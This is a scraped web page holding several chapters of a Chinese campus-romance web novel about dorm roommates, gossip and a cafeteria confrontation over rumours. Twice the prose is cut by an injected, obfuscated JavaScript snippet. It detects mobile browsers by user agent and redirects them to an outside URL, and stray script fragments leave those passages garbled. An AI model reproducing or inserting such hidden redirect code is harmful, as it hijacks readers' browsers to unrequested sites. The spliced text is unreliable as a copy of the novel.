许苑薇像是花了好大力气才从嘴巴里挤出一句完整的话:“我的天,他不是来送早点,他是来喂猪的吧?!” 陈梦晓不满地说:“他不能因为刘小叶是猪,就认为物以类聚。” 我冷静地看着她们,以受害者的身份告诉她们:“不要再把我们跟猪扯到一起了。看在我穿成这个样子就下去拿早点的份上,赶紧把它们吃了。” 许苑薇看了我一眼,以疑惑的语气问:“小西,你下楼的时候有没有穿胸罩?” 我的脑袋里仿佛有一根弦“咔嚓”一声断了,在刚才那样的情况下,穿内衣真的没有在我的思考范围内。我低下头看了一眼自己,外套的衣襟没拉好,用郑筱的话说,“轻微凸点,不注意看的话看不出来。”我真是想死的心都有了,欧祈脸红不会是因为…… 从此之后,我的人生留下了不穿内衣坚决不迈出门口一步的后遗症,就算是去隔壁宿舍借个晾衣架,我都会穿戴整齐。她们一致认为我有病,我也这么认为,可是“一朝被蛇咬,十年怕井绳”,我有什么办法? 为了避免同样的事件再次出现,我用手机每周六定了9点的闹钟,然后变着花样地用“酱猪手”、“油闷大虾”、“菠萝咕咾肉”等美味词汇把刘小叶叫醒之后,再趴回床上继续睡。再次醒来通常已经到了午饭时间,而欧祈送来的早点作为午饭来说,分量倒是很合适。 今天在叫醒刘小叶之后居然再也没睡着,她连要带回家的东西都没收拾,天知道昨天一晚上她都在干嘛。 在她的软磨硬泡和威逼利诱之下,我只能下楼拿早餐。她的理由是不想再跑上来一趟,因为楼层太高,爬上来会累死。我忍不住想翻个白眼,虽然我们是住最高层,可这栋楼只有三层。 欧祈在看到我的那一瞬间脸刷的一下变得通红,我深深觉得他的脸红别有深意。 但是,我没有任何办法去验证自己的揣测,除非我想被当作神经病或者花痴。所以,我警惕地捂紧了外套。接过早餐之后,以最快的速度冲回了宿舍。 许苑薇从房间出来的时候,正好看见刘小叶背着书包出去。她冲到走廊上,看着他们俩肩并肩走着的背影,用两只手捧着脸蛋,露出痴迷的表情,由衷地感叹:“多么美好的一对儿。” 我差点没从沙发上滚下来,难道是我记错了时节,现在不是快要入冬而是要春天了吗?我忍不住在脑海里勾勒许苑薇犯花痴的画面,浑身打了个抖,迅速地摇头驱赶那个镜头。 “你们讨论什么呢?又是刘小叶和欧祈。”陈梦晓一大早就在喝可乐,看她的样子,应该早就起来了。 我们都没理她,陈梦晓在中学里学的最好的一定是设问句。 “刘小叶只要见到欧祈,智商就变成负数。”陈梦晓继续自言自语,“哼……平时智商也是零。” 每次跟刘小叶斗嘴,只有借助“欧祈”这个杀手锏,她才能勉强跟刘小叶打成平手。随着后者的脸皮越来越厚,这个优势正在不断丧失。论伶牙俐齿,小陈哥跟刘小叶不是一个重量级的。 我把沙发上的毯子整个裹在身上,对穿着睡衣冲出去膜拜伟大爱情的许苑薇表达了自己的疑惑:“你昨晚那么晚睡,今天居然还能爬起来?” 许苑薇像看怪兽一样看着我,“没有啊,我昨晚很早就睡了……” 说话间,郑筱从房间里走了出来,她的眼睛肿得像两颗鲜艳的胡桃,头发凌乱地披在肩上。 看见我们都在客厅里,她吃了一惊,我在她的眼神里看到一闪而过的慌乱。然后她迅速地低头走进了卫生间。 这群盘丝洞里的女妖精们是闻到了唐僧肉的味道吗?居然十点不到都出动了。 周末的早晨在吵吵闹闹当中正式拉开了序幕,我喝了一杯酸奶后打算码字,陈梦晓出门打篮球,许苑薇收拾了书和文具准备去图书馆,而郑筱一声不吭地收拾妥当出去了。 十一点前,整个宿舍只剩下了我在客厅里。以往,这一切都是从下午开始的。 这是一个寻常的周末,似乎又有那么一点点的不寻常。 如果说欧祈出现在我们宿舍楼下天经地义,那么叶翔出现在楼下,多少有些诡异。女生宿舍炸开了锅。大概所有在寝室的女生都跑到走廊上看他,叽叽喳喳的声音比五千只鸭子加在一起还呱噪。我以为出了什么大事,出去听了一耳朵窝回去码字了。 在这栋楼向我们开放之后,陆陆续续有人搬了进来,不到一个月的时间,居然所有的房间都快要住满了。刘小叶发自肺腑地宣扬她的嫉妒“这个世界上的有钱人真多”,仿佛她并不是住在这里。可周末下午还待在宿舍的女生并不算多,也不知道她们怎么能发出那么吵杂的声响。 别看我们这栋宿舍只有三层楼,但管理员大妈的责任感和警惕性丝毫不逊于管理国家情报局的特工。她誓死捍卫女生宿舍的纯洁性,陈梦晓在搬家那天就见识了大妈的彪悍,“小伙子,你往哪儿走呢?这是女生宿舍,帮女生搬家也不能进!” 陈梦晓辩解了半天,管理员大妈各种不相信:“现在的小伙子也太能耐了,仗着自己长得清秀都敢冒充姑娘了……里面都是黄花大闺女,被你一大小伙子看了那还得了……我的责任就是一只公苍蝇都飞不进去!” 陈梦晓哭笑不得,大妈不依不饶,直到亮出了学生证和身份证才放她进去。可每次她进出,大妈还是忍不住狐疑地看着她,有一次终于忍不住说:“哎呦,小陈同学,你好歹穿次裙子证明下你是如假包换的姑娘家,不然其他男生都闹翻天了。” 当然,陈梦晓才不会为了降低宿管大妈的工作量而改变自己。 于是,每次陈梦晓从宿舍大门堂而皇之走进来时,都有男生向大妈抗议。 大妈一开始还稍作解释,后来她扯着嗓子对主张跟陈梦晓一样权利的男生喊:“如果你们能脱裤子证明自己是姑娘,这大门随便进。” 姜果然是老的辣,大妈那张历经岁月洗礼的沧桑面孔上波澜不惊,而小伙子们的脸全都红得像猴子屁股一样。从此之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997347|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,不管是来借作业的,还是来等女朋友的,全都不敢有任何异议,乖乖在楼下待着,不敢越雷池一步。 “我来找我女朋友。”叶翔露出他迷人的笑容,试图用美色迷惑管理员大妈放他进去找人。 大妈丝毫不为所动,“叫什么名字?那么多姑娘都是你女朋友啊?打电话叫她下来。” “我们吵架了,她不肯接我电话。”叶翔望着大妈的脸,万分诚恳地撒着谎。 “那就没辙了,你在这等人下来吧。” 管理员大妈可不是没见过世面的人,这么些年来,她看管过多少栋女生宿舍,看过多少男生来女生宿舍楼等人,其中不乏各种好看的男孩子。她早就对小鲜肉的糖衣炮弹免疫了。 叶翔没想到自己这张不分年龄对异性通杀的英俊面孔在中年管理员大妈的阴沟里翻了船,只能不动声色地靠在女生宿舍楼前的银杏树下,期待佳人早归。 等了三个小时,日薄西山,他想了想,转身走了。 八卦传播的速度远远超乎想象,更何况是绯闻的主角是风云人物……不过短短两天,所有人都知道“风云三剑客”之一的叶翔居然近女色了,大家纷纷揣测到底是哪个小妖精勾搭上了铭盛的第一校草。 无疑,这对于铭盛的所有女生都是一个天大的好消息。要知道,叶翔、陆亦和简瑞洺是出了名的帅哥以及出了名的难追,无数女生在这三个名字前纷纷落马。他们就像是铜墙铁壁一样滴水不进,对于女生的追求不是视而不见就是断然拒绝。再加上他们三个人经常同进同出,以至于坊间疯传着他们三个人两两之间的爱恨情仇,精彩程度不亚于网络上那些耽美文。 可严格说起来,这好像又不算什么好消息,如果是别的女生终结了他们同人的命运,那连幻想的余地都没了。到底是该喜还是该忧,人类,真是复杂的矛盾体。 接下来的几个星期,叶翔隔三差五就会出现在女生宿舍楼下,频率高得异常。大家的好奇甚嚣尘上,坚定地分成了“陆维雅”阵营和“庄子羽”阵营,我感觉绯闻女主角再不出现将会引发一场互掐扯头花“血案”。 许苑薇啃着苹果做习题,“哎,你们说,叶学长是来等谁的?” “这还用问,肯定是来等凌静宜的呗。”刘小叶一边嚼着牛肉干,一边发表评论。她坚信自己的判断,她刘小叶是谁呀?不生产八卦,但是八卦优质的搬运工。 “那可不一定。”郑筱从刘小叶的手上拿了一根牛肉干,一脸笃定地说:“帅哥最花心了。现在大家都在猜叶翔追的是陆维雅还是庄子羽呢。” 我昨晚码字码到太晚,睡眠不足,浑身没力气。昏昏欲睡地想要靠着沙发眯上一小会儿,没想到身体一软,下巴直接搁到了陈梦晓的肩膀上。我感觉自己后背一紧,立刻想要用手去撑沙发。还没等我弹起来(事实上我的状态也弹不起来,至多缓慢地爬起来),陈梦晓瞄了我一眼,仗着自己的身高优势,顺势一搂,把她的长胳膊整个压在我肩膀上,悠闲地说:“肯定不是陆维雅。” 我感觉肩头一沉,差点直接整个趴她身上。整个后背绷紧,身体僵硬,甚至额头上开始冒出微小细密的汗珠。我在强行推开和设法躲开之间来回摇摆,内心冒出一种对局面失控却无法挽回的无力感,只能尽量把注意力集中在谈话上,分散自己的焦灼不安——对于过分亲密的肢体接触,我仍然接受无能。 “为什么?”刘小叶瞪着她圆乎乎的眼睛问。 “陆维雅是陆亦的妹妹。” “所以呢?”刘小叶依然一头雾水。 我也没听出其中的因果关系。 陈梦晓抬起胳膊,似乎要伸懒腰,伸到半空又垂了下来。趁着这一瞬,我的屁股向后挪了挪,滑出了她的掌控范围。我默默靠在沙发上深深吐出一口气,如释重负。 刘小叶看了我们俩一眼,快步走到我旁边,扳着我朝向陈梦晓的后背,抬起我的下巴搁在了陈梦晓的肩膀上。我还没来得及窃喜,一切又回归了原样。 她非常满意地看了看她摆出的造型,发出一声慨叹:“刚才不挺好的嘛……这样才像一对。” 实在没力气吐槽她——自从我上次扮演小陈哥女朋友打发了她的一个狂热追求者之后,我们就被另外三个腐女硬生生组成了CP,还时不时被要求亲密一点培养所谓的情侣气场。刘小叶说这算售后营业,可我也没收到一分钱啊!! 我放弃了挣扎抵抗,欺骗自己那不是我的下巴。是谁说的来着,如果一次是偶然,那么两次就是必然——既然我下巴必然要放在小陈哥的肩膀上,那还挣扎个什么劲儿? 算了,我自暴自弃地把这颗头的重量全都放在了陈梦晓肩膀上。反抗不了,那就享受。 “刘小叶,你别打岔!”郑筱迅速把跑偏的话题抓回来,“小陈哥,所以这两件事儿有什么关系?” “啊……对!”刘小叶歪着头睁着圆乎乎的眼睛问陈梦晓:“你怎么知道陆维雅是陆亦的妹妹?” 一案未平,一案又起。 12. 第 12 章 陈梦晓的脸上几乎没有表情,淡定得仿佛要涅槃一样,但我靠在她身上,感觉到她身体的温度在上升。 “这个……”陈梦晓调整了下坐姿,她原本背对着我,现在变成了侧对着我。从这个角度,我看见她发红的耳垂和挺直的鼻子。她稍微往前蹭了蹭,身体轻微地抖动,瓮声瓮气地说:“我听说的。” 这一次,我的下巴被动离开了她的肩膀。此时,刘小叶的关注点已经全部被八卦吸引,没有来管我的下巴该搁在哪儿。我无比畅快地伸了个懒腰,四仰八叉地瘫在了沙发上。 在刚刚紧绷状态下,我光顾着紧张了,其实对他们的谈话没听进去多少。现在可不一样,精神放松了,思维就开始活跃。 很可疑……身体温度升高,不自在的坐姿,莫名耳朵红,不正面回答问题……这一堆蛛丝马迹,没说实话,至少没完全说实话。再加上她是一个非常不善于记名字的人,可现下她居然能够一口气说出两个我们都不认识的人名,这里面肯定有一个精彩的故事。 我看向刘小叶和郑筱,果然,这两个人的眼睛放光,尤其是刘小叶,好像看到了猎物的狮子。如果这时候有人误入,大概会觉得这是个神奇的狩猎现场——三只虎视眈眈的猛兽围狙一只无辜的小鹿。 就说嘛,没八卦刘小叶都恨不得无中生有造出来,更何况现在摆明是有八卦。 我们三个人都用异常热烈的眼光盯着陈梦晓,刘小叶更是紧张地攥紧了拳头(我觉得攥紧拳头的应该是陈梦晓才对)。她紧追不舍,“小陈哥,长能耐了呀,听说都能把名字记得这么牢……你还记得刚开学时,你都是怎么喊我们的吗?” 没有任何悬念,我们集体回溯到了那个目瞪口呆一言难尽的早晨——陈梦晓看着我的脸,说了一句:“周小瓜,你能把桌上的课本递给我一下吗”,然后她冲着对她走过去的许苑薇说“许圆,你今天是不是去阶一上课?我们一起走吧”,最后对着看上去还没睡醒的郑筱喊:“郑竹,你的衣服穿反了”。我们差点集体吐血,我们的名字有那么难记吗? 陈梦晓的脸上像是打翻了调色盘一样精彩,她散发出来的热气甚至改变了空气里的分子结构,让我有一种火山岩浆即将喷涌而出的感觉。 “所以你没把陆维雅叫成陆娜,陆亦叫成陆地,这怎么可能?”刘小叶笃定地说。面对大八卦,她的探索精神跟战地记者差不多。从这个层面上来说,她未来的职业方向相当明确。 在我们三个咄咄逼人的目光下,陈梦晓深吸了一口气,然后说:“好吧,我可以告诉你们,但是你们保证不会说出去!” 我们迅速地点了点头,刘小叶甚至在嘴巴上比划了个拉链的动作。 “一开始,陆维雅追我……”她很平静,好像在说别人的事情。 我们觉得这根本没什么,追她的女生都快一个加强营了。 真搞不懂,现在的男生都畏畏缩缩,反而女生成天雄赳赳气昂昂地告白打直球,难道阴盛阳衰的年代已经提前到了?刘小叶经常嚷嚷说我骨子里是个彻头彻尾的女权主义者,实际上她根本不逊于我。她曾经就男女生现状发表过她的独家言论:“难道现在雄性激素全都改长女生身上啦?!” 尽管刘小叶经常语出惊人,但上述论断我们一致认同是迄今为止最有水平的猜想。 除了她家欧祈,她对男性这种生物的评价并不高。不过这并不妨碍她继续花痴长相出众的男孩子。 嗯,刘小叶真是个神人。 “这不是很平常……”刘小叶话音还没落,我们就听到陈梦晓那句“现在是陆亦追我”。 我们震惊得下巴都快脱臼了。有男生追陈梦晓就已经够让人震惊了(她可是秒杀大部分男性的无敌存在),追求陈梦晓的人还不是等闲之辈,居然是“风云三剑客”的陆亦,这不能不让我们集体怀疑自己的耳朵是不是出了问题。 在我们终于调整好凌乱的心情后,陈梦晓讲完了她的故事。 总结起来,就是在一个篮球比赛上,陆维雅来看她哥陆亦打球,没想到对陈梦晓一见钟情。被她无情拒绝之后,陆美眉居然让她哥陆亦走什么大舅子路线,企图通过她哥的魅力感化小陈哥(这到底是什么感人的智商,我非常怀疑他们俩是不是同一个妈生的)。陆亦迫于无奈,只好找陈梦晓出来谈话,发现她居然是女生,然后莫名其妙的变成了他开始追求陈梦晓。 “细节,小陈哥,细节……”刘小叶冲着陈梦晓一阵兴奋地喊:“说细节。陆亦怎么追的你?” 陈梦晓的脸红得像刚刚蒸完桑拿一样。 然后,我们听到了新鲜出炉后来被刘小叶称为“情圣追爱记”的原版剧情(这么老土的名字大概也只有刘小叶能想得出来)。 上周三,陈梦晓游完泳之后匆匆忙忙换好衣服,准备赶来跟我们回合。我们约好了去学校里新开的一家书吧,据说那里不仅有各种世界名著、财经报纸,还有八卦杂志和少女漫画。发觉时间快来不及了,她就抄小路穿过图书馆附近的小树林。她从树丛里钻出来,正好撞见一对男女在接吻,女生吓得高声尖叫。她尴尬得想找个地洞钻进去,一时间手足无措,不知道该道歉还是该走开。突然,从后面窜过来一个人,拉着她的胳膊就跑。快跑出小树林了,他们停了下来。陈梦晓甩开对方的手,男生一回头,居然是陆亦。 他戏谑地看着她,说:“你不知道这里是铭盛的约会圣地吗?一个人居然还往里冲。” 陈梦晓大大咧咧地说:“不是有情人坡了吗?怎么还跑到小树林里了。还能不能给不谈恋爱的人点空间了?” “那你就不懂了……”陆亦一副欲言又止的样子。 陈梦晓歪着头,问:“懂什么?他们非要到小树林干嘛啊?” 陆亦支吾了半天,脸红了,搔着头,“干嘛……那个……你不都看见了吗?” 陈梦晓脸刷得一下白了,恨不得咬掉自己的舌头。真是哪壶不开提哪壶。她想了想,在心里跟自己说,不就看见别人打啵,该不好意思的是他们,我有什么不好意思的!她抬头挺胸,装出气势十足的样子,“你怎么在这?不会是跟踪我吧?!” “没有,没有……”陆亦慌忙解释,“我从图书馆出来看见你往小树林里走,就过来看看。” “我从哪儿走,关你什么事儿?”陈梦晓恢复了一贯的冰冷口气,挑衅一样看着陆亦。 “我喜欢你啊,你要遇到危险了怎么办?”陆亦盯着她的眼睛说:“我在,就能保护你。” 陈梦晓慌了,手不知道该往哪里放,眼睛也不知道该往哪里看。“那个……什么喜欢……”她语无伦次。在还没好好思考之前,她就豁了出去,冲他大吼了一声:“你喜欢我像男生啊?” 陆亦一本正经地回答:“喜欢。还好是像男生,不是真的男生……我本来还以为自己要弯了……” 陈梦晓愣了三十秒,骂了一句“神经病”之后跑了。 我们目瞪口呆,差点拍着脑袋趴到地上去了。我心想:“原来陆亦喜欢这个调调,难怪不管是清秀佳人,清纯玉女还是性感女神,都在他的牛仔裤前败下阵来。”与此同时,我还有点同情陆维雅:自己喜欢的男孩子突然变成了哥哥喜欢的女孩子,发生在古代也就算了,他们算不算开启了新时代的新篇章?真想知道陆维雅的心理阴影面积…… “没想到陆学长这么man……”许苑薇不知道什么时候挪到了沙发边,比听说书还认真的表情让我怀疑她是不是打算拿个笔记本记下来。 “Man什么啊!”郑筱探过脑袋,说:“表白也找个有情调点的地方吧?活该他单身。” “难道他真的是gay?拿小陈哥当盾牌?”刘小叶迅速抛出了自己的判断。 “拜托,如果要找盾牌,也得找郑筱那样的好吧?”我抚着额头,感觉整个凌乱了。 “所以现在是变成了兄妹夺爱记吗?”许苑薇做了总结性提问。 我们互相对望了几眼之后,刘小叶眯起眼睛看陈梦晓,“小陈哥,你真是我的偶像,一箭双雕哎,祸国殃民的女主人设……” 听完刘小叶的感慨,我刚喝的一口水一下子全喷了出来(幸好没让我妈看见,否则她肯定会把我送去淑女培训班)。 “这不是重点……”陈梦晓急忙解释。 “This is the point!”郑筱和我异口同声打断了她。 “The…the Point。”刘小叶加重了音调再次强调。 如果说叶翔追女生已经是能够上《壹周刊》级别的八卦,那陆亦追陈梦晓简直就是核爆炸级别的绯闻。 啊!!!我们的生活简直比小说还精彩。 刘小叶盯着我,看得我心里直发毛。她说:“小西,我突然觉得没有事是不可能的。你这棵铁树,搞不好也突然花开几朵。” 我横了她一眼,表示这个话题终结。 刘小叶追着陈梦晓问“为什么不答应陆亦”,我的脑子里突然闪过曾经读过的一句话:“我们遇见很多人,和很多人分开,又和很多人再相遇。大家都一样,没有什么不同,一样的幸福,也一样的孤独。”我甩甩头,自嘲自己悲春伤秋,这都哪儿跟哪儿啊。遇见也好,分开也罢,都还没影的事情,现在感怀为时过早。 原本以为叶翔求爱记要过很久才会落下帷幕,没想到剧情一路快进,火速来到了大结局。 周三下午,我们因为没有课,早早回到了宿舍。叶翔竟然又在楼下守株待兔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997348|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当凌静宜出现在宿舍楼下的时候,叶翔一把拽住了她的胳膊。没有人在走廊上,但我相信很多人都跟我们一样,趴在门缝上,生怕错过了任何细节。凌静宜甩开叶翔的手。 我们离得太远,根本听不见他们在说什么,连表情都看不清楚,只能看见他们俩的肢体动作。看上去像极了情侣吵架。 “看,我说的都是真的吧?上次我就看见他们手挽手。”刘小叶继续发挥她的八卦特质,扭过头对挤在她旁边的我说:“啧啧啧,肯定是凌静宜不肯承认叶翔的男朋友身份,叶翔不甘心就闹起来了……” 对刘小叶的编剧精神,我一向是佩服得肝脑涂地。 “小西,你说你白长了一张妖孽脸,怎么半朵桃花都没有?”刘小叶一副恨铁不成钢的样子。突然,她恍然大悟似的,“我知道了!你这种是有钱人最爱长相,穷学生都不敢追。” 我翻了个白眼给她,不予置评。 这下几乎所有的女生都知道了,他们心目中男神的女朋友是凌静宜,那个看上去不可一世高高在上,一身名牌,刻薄肤浅的有钱女。在钞票的光环之下,没有人会去关注她有多努力和多优秀。 许苑薇、陈梦晓和郑筱一回宿舍,刘小叶就挤眉弄眼地要求去吃饭。当然是因为凌静宜在宿舍,不方便她进行伟大的八卦传播事业。 我们几个人坐在第三食堂,因为今天只有这个食堂供应刘小叶爱吃的糖醋小排。 “说真的,我觉得叶翔挺有眼光的……”刘小叶咬了一口小排,嘴边蹭着亮亮的糖醋汁,“凌静宜除了个性冰冷一点,生活方式变态一点,行踪诡异一点,其他方面都还挺好的。” 许苑薇四处望了望,说:“小叶,我们背后评价凌静宜,不太好吧?” 我淡定地喝着肉圆汤,“难道当着她的面评价?” 许苑薇想了五秒钟,摇了摇头。 陈梦晓低头吃饭,没有接我们的话,我总觉得她有些心虚。顺着她坐的位置45°角望出去,我看到了一个剑眉星目的男生,一直盯着我们这边。不认识,但直觉告诉我,他应该是陆亦。小陈哥浑身不自在地迅速吃完了饭就提前回宿舍了。对面的男生也迅速地不见了踪影。 郑筱最近吃饭时一直是神游太虚,好像没什么事情能引起她的兴趣。 “郑筱,你怎么看?”刘小叶突然把问题抛给了她。 她像没听见一样,拿筷子来来回回地戳着肉圆汤里的肉圆子,戳得它们四分五裂,一块一块漂浮在汤碗上方。 不知道她是不是厌倦了食堂周一到周三连续三天没换过菜式,才这样心不在焉神游天外。可我觉得,这种问题应该对刘小叶造成的影响更大。 可能是因为最近英文系在排莎士比亚的原版话剧《罗密欧与朱丽叶》,莎翁剧本的词汇量,换做我,大概症状比她还要严重——天天背上四页纸,全英文,我都要去见马克思了。郑筱作为当仁不让的女主角,虽然英文系的女生都不喜欢她,可她是老师的宠儿。况且英文系还有谁比她还朱丽叶?就算想被换掉都很困难,我略微同情了下她。 许苑薇轻轻地捣了一下她,“郑筱,你怎么了?” 郑筱回过神来,一脸迷惘地望着她,“啊……你们刚刚说了什么?” 有一搭没一搭地跟我们聊了一会儿,她说:“我必须要去排练了。”语气就像“我必须要去打鬼子”一样决绝,说完站起来就走了。 我看了一眼她的餐盘,不仅肉圆汤没喝完,菜也剩了很多。 坐我旁边的刘小叶戳戳我的腰说:“哎,小西,你有没有觉得郑筱最近跟丢了魂一样?” 我白了她一眼,“再来第三食堂吃两顿,我也要丢魂了。你没看见她把肉圆子都快戳成蜂窝煤了?” 许苑薇抬起头,目光在刘小叶和我之间来回扫视。半响,她压低声音问了一句:“你们听到隔壁那桌说的话了吗?” 我跟刘小叶对望了一眼,屏住呼吸,竖起耳朵听旁边人的对话。 在凌静宜事件传的沸沸扬扬的风口浪尖,当然不会只有我们议论,我们周围的女生都低头窃窃私语,食堂这种地方果然是传播八卦的最佳地点之一。 但我没想到,刚刚在宿舍里开完我的玩笑,我们就在食堂听到了充满恶意的“现实版”。 在这个五光十色的世界里,有些人尽管看上去像是上帝用绸带包裹起来的甜蜜礼物一样,但内心却肮脏得像是臭水沟——因常年丢弃浸透动物尸体而发酵,散发出令人作呕气息。 那个我大概在十五岁就知道的道理,再一次向我证明:这个世界从来不缺乏恶意。不管你愿不愿意,都会成为别人茶余饭后的谈资。除非你渺小平凡到任何人都会忽视你。显然,凌静宜并不属于这一类。 13. 第 13 章 “你们听说了吗?金融系的那个新生凌静宜,听说是被人包养的。”梳着马尾长着一张圆脸的女生神秘兮兮地说。她似乎刻意压低了声音,但声音却正好能够让她周围的人都听见。 旁边一个小家碧玉模样的女生添油加醋:“你们看到那天来接她的车了吗?好像是宝马X6。” “我一开始还以为她那个LV包包是假货呢。原来她被人包了,难怪一身名牌。”长了一张大饼脸的女生声音尖尖的,却硬要凹出娇嫩柔媚的口吻,听上去就像是一把矬子在砂皮纸上缓慢地来回剐蹭,让我浑身都很不舒服。 她旁边放了一个LV的包包,限量版。我瞄了一眼,假货。 一个梳着双马尾的姑娘轻声说:“不会吧?她不是成绩很好的吗?没准她是富二代呢?” 圆脸女生不屑一顾的表情:“富二代早出国了,还会在铭盛待着?” “子羽,还是你有见识。”大饼脸女生谄媚的表情配上刻薄的话语,让我很想上去扇她两嘴巴,“那些有钱人最喜欢她那样的,学习成绩不错,假装清高。” “听说她住的那栋女生宿舍里都是些有家底的。”双马尾还是挺实在的,她说:“子羽,你家也挺有钱的,不也没出国吗?” “我……”庄子羽有点语塞,“我……怎么……” 大饼脸马上截住她的话:“子羽怎么一样?她是不想出国……” “你会不会说话?”坐在双马尾旁边的四眼妹伸手扶了一下眼镜,“小玲,你拿子羽跟那种女人比,脑子里装了什么?” 庄子羽满意地给了她一个赞赏的眼神,“就是,不像某些人是想出国去不了……”,她继续喷射毒汁,“搞不好她还是小四小五呢……都不知道被多少人包过了,叶翔是不是瞎了,居然会喜欢她?” “哎……男生永远分不清哪些女的是婊子。”小家碧玉用手托着腮帮,惆怅地说。 “切!”刘小叶咒骂了一句:“她才是货真价实的绿茶婊吧。” 我没有说话,站起来走过去,拿起她面前飘着白色凝固物和葱花的肉圆子汤,呼啦一下全泼在她脸上。 “你哪只眼睛看见凌静宜被包养了?”我从口袋里掏出纸巾,擦了擦手上沾到的油汤,“有本事别在这散播谣言泼脏水,堂堂正正跟凌静宜竞争啊!” 她们大概被这突如其来的变数惊呆了,全部张着嘴望着我。十秒钟之后,一个尖锐的声音从庄子羽嘴里爆出来,像是被人掐住了脖子的鹌鹑,“你谁啊?!居然敢泼我?” “你管我是谁,贱人都欠收拾……”我轻蔑地看着她,说:“庄子羽,你暗恋叶翔吧?叶翔追的是陆维雅还是庄子羽,也是你自编自导自演的吧?” 刘小叶亦步亦趋,她目瞪口呆地望着我,“小西,你怎么……” 我知道她的想法,我们和凌静宜虽然是室友,但关系并没有好到为她出头。只有我自己知道这是为什么。 在大多数人眼中,只有穷人会被别人看不起,实际上,泼脏水这件事情不分对象,也无论贫穷或富贵。也许贫穷更多的是被嘲笑被欺负,但在别人觉得你应该是穷人的时候你却有钱,那么体验的就是花式脏水套餐:被包养,做□□,外围女……只有你想不到的,没有他们胡诌不出来的。 我还在读小学的时候,我爸的生意从L城逐渐向M市扩张。我小学毕业升初中,我爸决定把生意重心整个搬到M市。我转到M市读中学,那时我爸还不出名,我就像毫无根基的外地人,因为沉默内向,融入不了学校小群体。加上我穿名牌,司机接送,从初二开始就有人传我被包养。所有女生都不跟我交朋友,除了李离……后来,我爸成了M市的知名企业家,他参加了我的毕业典礼,我才从狐狸精和拜金女的位置上退居富二代。但在那之后,无论我做什么,得了什么奖,所有人都认定那是因为我是周利伟的女儿,是特权给予了我一切,至于我的努力,没人能看见。或者说,没人想看见。到底哪一种更悲哀,我也不知道。可我知道,无端被泼脏水是我最痛恨的事情,无论是不是发生在我身上。 庄子羽举起右手想要打我,我正准备奋起反抗——虽然我是运动渣外加协调性极差的人种,但也不能坐视自己挨打。可惜我还没来得及抓住她,大饼脸就一把拧住了我的胳膊。我左右挣扎,根本没办法挣脱——大饼脸到底是吃什么长大的,她的肱二头肌堪比男人。 在愣了几秒后,刘小叶迅速向我冲了过来,许苑薇十分着急地向我们跑过来。四眼妹和双马尾两个人联手把刘小叶挡在了外围。绿茶婊侧了侧身,伸开胳膊拦着许苑薇。这个时候我才有点后悔:敌众我寡,逞英雄果然是要付出代价的。 眼看我就要挨个大巴掌,刘小叶急得连脏话都飙出来了,“我靠,庄子羽,你有本事一对一单挑啊。” 庄子羽不屑一顾地翻了个白眼,“单挑?我脑子又没坏!” 刘小叶四周环顾,发现女生都躲在旁边看热闹,男生更是在最外围。她大声嚷:“这个时候居然没人英雄救美?!” 看庄子羽凶神恶煞的样子,我的脑海里冒出一个念头:她下手肯定往死里使劲儿,我还是闭上眼睛吧,要是这个时候能直接晕过去,那简直是佛祖保佑。似乎过了一个世纪那么久,预期的疼痛并没有出现。哈利路亚,是上帝帮我屏蔽了痛感吗?被人扇嘴巴不应该是火辣辣的感觉吗?为什么我什么都没感觉到。 我犹豫着睁开眼,看见庄子羽的手掌离我很近,大概不到十公分。但就是那么十公分的距离,她的手掌怼在我面前不动弹了:预期的巴掌并没有扇在我脸上——她的手腕被一只手牢牢抓住动弹不得。微微偏头,看见庄子羽那张原来还算清秀的脸彻底变了形,我从来不知道人类的脸可以扭曲成那个样子:愤怒、不甘、凶狠等情绪夹杂在一起,像女版卡西莫多。哦不对,敲钟人比她可善良多了,这么形容她简直侮辱了所有内在美。 她咆哮的声音震得我的鼓膜嗡嗡作响,“你知道我是谁吗?居然敢管我的事情。” 下一秒,突然周围的空气就安静了下来。似乎谁不小心触动了时间机器的开关,所有的一切都被定格。 她看向抓住她手腕的那个人,瞬间嚣张气焰全无,只见她迅速地低下了头,用左手把散落在面颊上的几缕头发捋到耳朵后,轻声细语地说:“你弄痛人家了啦……” 我差点把刚吃下去的肉圆汤和红烧排骨全都还给食堂。庄子羽在铭盛待着太可惜了,就她刚刚的表演,奥斯卡欠她一座影后奖杯。 仰起头去看拯救我的英雄,终于明白为什么她跟鬼上身一样前后判若两人。那是一个帅得不像话的男生,看上去还有点眼熟,我好像在哪里见过他——想起来了,曾经Y中的头号校草萧楠。他旁边站着的是叶翔,只是那张帅酷的脸上阴云密布。他从她们几个的脸上依次看过去,如果眼神可以杀人,她们几个肯定已经千疮百孔。叶翔原本看上去是痞痞坏坏的帅,现在他周身散发着危险的气息,“虽然我不打女人,但如果再让我听见你们说凌静宜的坏话,就让你们吃不了兜着走。” 庄子羽还准备辩解,大饼脸拉着她就往外走。总算还有个有眼力价儿的。 我的脑海里突然有个小灯泡噌的一下亮了——原来此叶翔就是彼叶翔,世界真小,铭盛是把Y中的校草直接移植过来了吗?我的脑袋里浮现出另一个名字,说起来,陆亦似乎看上去也有些面熟。介于我对于人脸的记忆曲线在Y轴方向异常陡峭,我不太确定追小陈哥的陆亦是不是Y中的陆亦。 